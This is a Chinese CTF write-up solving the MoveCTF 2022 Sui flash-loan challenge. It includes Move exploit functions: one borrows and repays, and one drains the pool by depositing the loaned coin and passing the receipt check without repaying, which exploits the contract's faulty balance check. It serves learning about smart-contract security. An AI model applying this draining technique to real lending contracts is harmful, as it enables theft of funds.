原题目在https://github.com/movebit/movectf-4/blob/master/sources/module.move 考察闪电贷
由于Move2024有些变化,我对源码做了微调https://github.com/m4sk93/movectf/tree/main/movectf2022/flashloan

环境搭建

参考MoveCTF2022 Checkin部署题目后,
为了后续调用方便,在配置文件中添加package ID

[package] name = "movectf2022_flashloan" edition = "2024.beta" # edition = "legacy" to use legacy (pre-2024) Move # license = "" # e.g., "MIT", "GPL", "Apache 2.0" # authors = ["..."] # e.g., ["Joe Smith (joesmith@noemail.com)", "John Snow (johnsnow@noemail.com)"] published-at = "0x2a61d471519b8e85a7730bebcfc3c5cace6ffffb2f5576d593821422d514adc2" # package id [dependencies] Sui = { git = "https://github.com/MystenLabs/sui.git", subdir = "crates/sui-framework/packages/sui-framework", rev = "framework/testnet" } [addresses] #movectf2022_flashloan = "0x0" movectf2022_flashloan = "0x2a61d471519b8e85a7730bebcfc3c5cace6ffffb2f5576d593821422d514adc2" # package id

编写exp

为了调用题目,在配置文件中添加依赖

[dependencies] Sui = { git = "https://github.com/MystenLabs/sui.git", subdir = "crates/sui-framework/packages/sui-framework", rev = "framework/testnet" } movectf2022_flashloan= { local = "../movectf2022_flashloan/" }

初步分析getflag时会检查是否已经把池子抽干,

// check whether you can get the flag public entry fun get_flag(self: &mut FlashLender, ctx: &mut TxContext) { if (balance::value(&self.to_lend) == 0) { event::emit(Flag { user: tx_context::sender(ctx), flag: true }); } }

直接试试:

/// Module: exp module exp::exp { use sui::tx_context::TxContext; use movectf2022_flashloan::flash::{Self, FlashLender}; public entry fun exp1(lender: &mut FlashLender, ctx: &mut TxContext) { let (coin, receipt) = flash::loan(lender, 1000, ctx); flash::get_flag(lender, ctx); } }

结果编译时就报错

error[E06001]: unused value without 'drop' ┌─ ./sources/exp.move:9:37 │ 8 │ let (coin, receipt) = flash::loan(lender, 1000, ctx); │ ---- The local variable 'coin' still contains a value. The value does not have the 'drop' ability and must be consumed before the function returns 9 │ flash::get_flag(lender, ctx); │ ^ Invalid return │ ┌─ ./../movectf2022_flashloan/sources/movectf2022_flashloan.move:54:9 │ 54 │ ): (Coin<FLASH>, Receipt) { │ ----------- The type 'sui::coin::Coin<movectf2022_flashloan::flash::FLASH>' does not have the ability 'drop' │ ┌─ /home/kali/.move/https___github_com_MystenLabs_sui_git_framework__testnet/crates/sui-framework/packages/sui-framework/sources/coin.move:35:19 │ 35 │ public struct Coin<phantom T> has key, store { │ ---- To satisfy the constraint, the 'drop' ability would need to be added here error[E06001]: unused value without 'drop' ┌─ ./sources/exp.move:9:37 │ 8 │ let (coin, receipt) = flash::loan(lender, 1000, ctx); │ ------- The local variable 'receipt' still contains a value. The value does not have the 'drop' ability and must be consumed before the function returns 9 │ flash::get_flag(lender, ctx); │ ^ Invalid return │ ┌─ ./../movectf2022_flashloan/sources/movectf2022_flashloan.move:24:19 │ 24 │ public struct Receipt { │ ------- To satisfy the constraint, the 'drop' ability would need to be added here · 54 │ ): (Coin<FLASH>, Receipt) { │ ------- The type 'movectf2022_flashloan::flash::Receipt' does not have the ability 'drop'

所以必须对coin和receipt进行处理,不能让你贷完就跑路

注意看代码里的这个结构体:

public struct Receipt { flash_lender_id: ID, amount: u64 }

参考 Hot Potato (Hot Potato is a name for a struct that has no abilities, hence it can only be packed and unpacked in its module. In this struct, you must call function B after function A in the case where function A returns a potato and function B consumes it.)

/// Module: exp module exp::exp { use sui::tx_context::TxContext; use movectf2022_flashloan::flash::{Self, FlashLender}; public entry fun exp1(lender: &mut FlashLender, ctx: &mut TxContext) { let (coin, receipt) = flash::loan(lender, 1000, ctx); flash::get_flag(lender, ctx); flash::repay(lender, coin); flash::check(lender, receipt); } }

有借有还,这下成功了.

问题来了,可以不还吗???

还有一种利用方式

/// Module: exp module exp::exp { use sui::tx_context::TxContext; use movectf2022_flashloan::flash::{Self, FlashLender}; public entry fun exp1(lender: &mut FlashLender, ctx: &mut TxContext) { let (coin, receipt) = flash::loan(lender, 1000, ctx); flash::get_flag(lender, ctx); flash::repay(lender, coin); flash::check(lender, receipt); } public entry fun exp2(lender: &mut FlashLender, ctx: &mut TxContext) { let (coin, receipt) = flash::loan(lender, 1000, ctx); flash::deposit(lender, coin, ctx); flash::check(lender, receipt); flash::withdraw(lender, 1000, ctx); flash::get_flag(lender, ctx); } }

问题在于:coin可以通过deposit消耗掉.通过check消耗receipt时不需要发送coin.而且check判断余额的方式也不对。

拓展

https://github.com/movebit/movectf2024-day1/tree/main/swap

参考资料

感谢大佬们无私分享